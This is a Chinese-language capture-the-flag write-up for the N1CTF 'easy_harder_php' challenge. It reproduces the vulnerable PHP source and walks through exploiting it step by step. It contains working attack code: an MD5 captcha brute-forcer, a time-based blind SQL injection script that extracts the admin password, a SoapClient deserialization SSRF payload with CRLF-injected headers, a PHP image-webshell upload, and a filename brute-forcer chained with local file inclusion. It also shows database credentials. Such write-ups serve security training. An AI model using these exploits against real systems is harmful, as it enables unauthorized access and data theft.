N1CTF-easy_harder_php
N1CTF-easy_harder_php
信息收集
页面是一个简单的登陆页面
简单的看看各项内容,这个url?action=...就很像lfi,试一试
确实有任意文件读取
扫一扫
发现index.php~
代码审计
源代码
index.php
index.php
<?php
require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
require_once 'views/'.$_GET['action'];
else
header('Location: index.php?action=login');
config.php
config.php
<?php
header("Content-Type:text/html;charset=UTF-8");
date_default_timezone_set("PRC");
session_start();
class Db
{
private $servername = "localhost";
private $username = "Nu1L";
private $password = "Nu1Lpassword233334";
private $dbname = "nu1lctf";
private $conn;
function __construct()
{
$this->conn = new mysqli($this->servername, $this->username, $this->password, $this->dbname);
}
function __destruct()
{
$this->conn->close();
}
private function get_column($columns){
if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';
return $column;
}
public function select($columns,$table,$where) {
$column = $this->get_column($columns);
$sql = 'select '.$column.' from '.$table.' where '.$where.';';
$result = $this->conn->query($sql);
return $result;
}
public function insert($columns,$table,$values){
$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);
return $result;
}
public function delete($table,$where){
$sql = 'delete from '.$table.' where '.$where;
$result = $this->conn->query($sql);
return $result;
}
public function update_single($table,$where,$column,$value){
$sql = 'update '.$table.' set `'.$column.'` = \''.$value.'\' where '.$where;
$result = $this->conn->query($sql);
return $result;
}
}
class Mood{
public $mood, $ip, $date;
public function __construct($mood, $ip) {
$this->mood = $mood;
$this->ip = $ip;
$this->date = time();
}
public function getcountry()
{
$ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
$ip = json_decode($ip,true);
return $ip['data']['country'];
}
public function getsubtime()
{
$now_date = time();
$sub_date = (int)$now_date - (int)$this->date;
$days = (int)($sub_date/86400);
$hours = (int)($sub_date%86400/3600);
$minutes = (int)($sub_date%86400%3600/60);
$res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
return $res;
}
}
function get_ip(){
return $_SERVER['REMOTE_ADDR'];
}
function upload($file){
$file_size = $file['size'];
if($file_size>2*1024*1024) {
echo "pic is too big!";
return false;
}
$file_type = $file['type'];
if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
echo "file type invalid";
return false;
}
if(is_uploaded_file($file['tmp_name'])) {
$uploaded_file = $file['tmp_name'];
$user_path = "/app/adminpic";
if (!file_exists($user_path)) {
mkdir($user_path);
}
$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
$file_true_name = str_replace('/','',$file_true_name);
$file_true_name = str_replace('\\','',$file_true_name);
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
$move_to_file = $user_path."/".$file_true_name;
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
else
return false;
}
else
return false;
}
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
}
function rand_s($length = 8)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
$password = '';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all();
user.php
user.php
<?php
require_once 'config.php';
class Customer{
public $username, $userid, $is_admin, $allow_diff_ip;
public function __construct()
{
$this->username = isset($_SESSION['username'])?$_SESSION['username']:'';
$this->userid = isset($_SESSION['userid'])?$_SESSION['userid']:-1;
$this->is_admin = isset($_SESSION['is_admin'])?$_SESSION['is_admin']:0;
$this->get_allow_diff_ip();
}
public function check_login()
{
return isset($_SESSION['userid']);
}
public function check_username($username)
{
if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
return false;
else
return true;
}
private function is_exists($username)
{
$db = new Db();
@$ret = $db->select('username','ctf_users',"username='$username'");
if($ret->fetch_row())
return true;
else
return false;
}
public function get_allow_diff_ip()
{
if(!$this->check_login()) return 0;
$db = new Db();
@$ret = $db->select('allow_diff_ip','ctf_users','id='.$this->userid);
if($ret) {
$user = $ret->fetch_row();
if($user)
{
$this->allow_diff_ip = (int)$user[0];
return 1;
}
else
return 0;
}
}
function login()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code erroar");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name');
$db = new Db();
@$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1");
if($ret)
{
$user = $ret->fetch_row();
if($user) {
if ($user[4] == '0' && $user[2] !== get_ip())
die("You can only login at the usual address");
if ($user[3] == '1')
$_SESSION['is_admin'] = 1;
else
$_SESSION['is_admin'] = 0;
$_SESSION['userid'] = $user[0];
$_SESSION['username'] = $user[1];
$this->username = $user[1];
$this->userid = $user[0];
return true;
}
else
return false;
}
else
{
return false;
}
}
else
return false;
}
function register()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code error");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name');
if(!$this->is_exists($username)) {
$db = new Db();
@$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
if($ret)
return true;
else
return false;
}
else {
die("The username is not unique");
}
}
else
{
return false;
}
}
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic'])) {
if (upload($_FILES['pic'])){
echo 'upload ok!';
return true;
}
else {
echo "upload file error";
return false;
}
}
else
return false;
}
}
function showmess()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
//id,sig,mood,ip,country,subtime
$db = new Db();
@$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
if($ret) {
$data = array();
while ($row = $ret->fetch_row()) {
$sig = $row[1];
$mood = unserialize($row[2]);
$country = $mood->getcountry();
$ip = $mood->ip;
$subtime = $mood->getsubtime();
$allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
array_push($data, $allmess);
}
$data = json_encode(array('code'=>0,'data'=>$data));
return $data;
}
else
return false;
}
else
{
$filenames = scandir('adminpic/');
array_splice($filenames, 0, 2);
return json_encode(array('code'=>1,'data'=>$filenames));
}
}
function allow_diff_ip_option()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['adio'])){
$db = new Db();
@$ret = $db->update_single('ctf_users',"id = $this->userid",'allow_diff_ip',(int)$_POST['adio']);
if($ret)
return true;
else
return false;
}
}
else
echo 'admin can\'t change this option';
return false;
}
function deletemess()
{
if(!$this->check_login()) return false;
if(isset($_GET['delid'])) {
$delid = (int)$_GET['delid'];
$db = new Db;
@$ret = $db->delete('ctf_user_signature', "userid = $this->userid and id = '$delid'");
if($ret)
return true;
else
return false;
}
else
return false;
}
}
代码量稍微有一点多,我们来稍微理一理逻辑
- index.php
设置了入口,new了Customer对象,并且规定了视图/view/[aciton]
- user.php
只有一个Customer类,规定了登陆、注册、展示、删除等功能
- config.php
Db类处理数据库连接,设置增删改查等方法
Mood类有一些具体的功能
直接理解Mood类比较麻烦,我们登陆后对应功能再看Mood
注册
未注册可利用的功能点比较少,所以我们这里先注册,需要满足
(substr(md5($_POST['code']),0, 5)==$_SESSION['code'])
那么我们全局追踪,看看哪里设置了$_SESSION['code']
最终在视图/views/register中找到
$code = rand_s(3);
$md5c = substr(md5($code),0,5);
$c_view = "substr(md5(?), 0, 5) === $md5c";
$_SESSION['code'] = $md5c;
追踪rand_s函数,在config.php Mood类中
那么我们先保存他所有的md5值,再写一个md5碰撞器与其碰撞
使用crunch字典生成工具
crunch 4 4 1234567890abcdefghijklmnopqrstuvwxyz_ -o file.txt
编写exp
import hashlib
f = open('file.txt', 'r', encoding='utf-8')
word = '1c6a6' //填入页面上的字符串
for line in f:
line = line.strip()
passwordhash = hashlib.md5(line.encode()).hexdigest()
passwordhash = passwordhash[0:5]
if word == passwordhash:
print(line)
break
f.close()
注册,登陆(可能有的碰撞不出来,多试几个就行)
页面上只有一个publish板块,那我们再来审计publish
publish
发现publish以admin登陆后有文件上传功能,那么我们思考是否可以得知admin的密码
刚好publish中直接将用户传参带入数据库中,无任何过滤
探测注入
a`,if(1=0,1, sleep(5)))#
成功延时
编写exp
# coding:utf-8
import requests
import datetime
import time
import base64
cookie = {
'PHPSESSID':'4sof8ite3d9vues5d1h476qrv3'
}
name = ''
for j in range(1, 35):
for i in range(1, 128):
url = 'http://192.168.110.150/index.php?action=publish'
payload = "a`,if(substr((select password from ctf_users where username=`admin`),{},1)={},sleep(3),0))#".format(j, chr(i))
print(payload)
data = {
"signature": payload,
"mood": '0'
}
time1 = datetime.datetime.now()
r = requests.post(url, data=data, cookies=cookie)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec > 3:
name += chr(i)
print(name)
break
print('database_name:', name)
(因为已知表名,这里直接跑密码了)
密码:nu1ladmin
怀着无比激动心情登陆,不成功。。。
有经验看这个就知道肯定要用SoapClient打了
SoapClient
找到反序列化函数
在config.php|Customer类|showmess方法中
那么我们通过闭合控制mood
signature=aaa`,payload)%23
此时mood即为我们传入的payload,因为mood类中没有getcountry()方法,通过SoapClient中的__call()魔法函数本地登陆
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=o0p6';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=1642530grh43rsui3hhl8kl6a4'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
刷新,登陆成功
文件上传
- 文件小于2MB
- type为mage/jpeg或image/pjpeg
- 不能有<?php
- 还需要我们爆破文件名
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
最后还有点恶心,会自动删除我们的.jpg
这里有个小trick
所以我们创建名为-nu1l.jpg的图片马,上传文件
编写exp
编写exp爆破文件名
# -*- coding:utf-8 -*-
import requests
time = 161130435000
url = 'http://192.168.110.150/index.php?action=../../../../app/adminpic/-nu1l{}.jpg'
for i in range(10000):
tmp = time + i
ul = url.format(tmp)
html = requests.get(ul).status_code
print(tmp)
if html == 200:
print(ul)
break
这里思路真的要发散,在lfi中其实可以读run.sh,其中包含数据库密码
Nu1Lctf%#~:p
所以最终我们可以登陆数据库,在其中找到flag
总结
这道题也太顶了,LFI+SSRF+反序列化,光exp就编了3个,这道题值得反复做,以后有时间再拿出来温习一下,太顶了,膜wupco师傅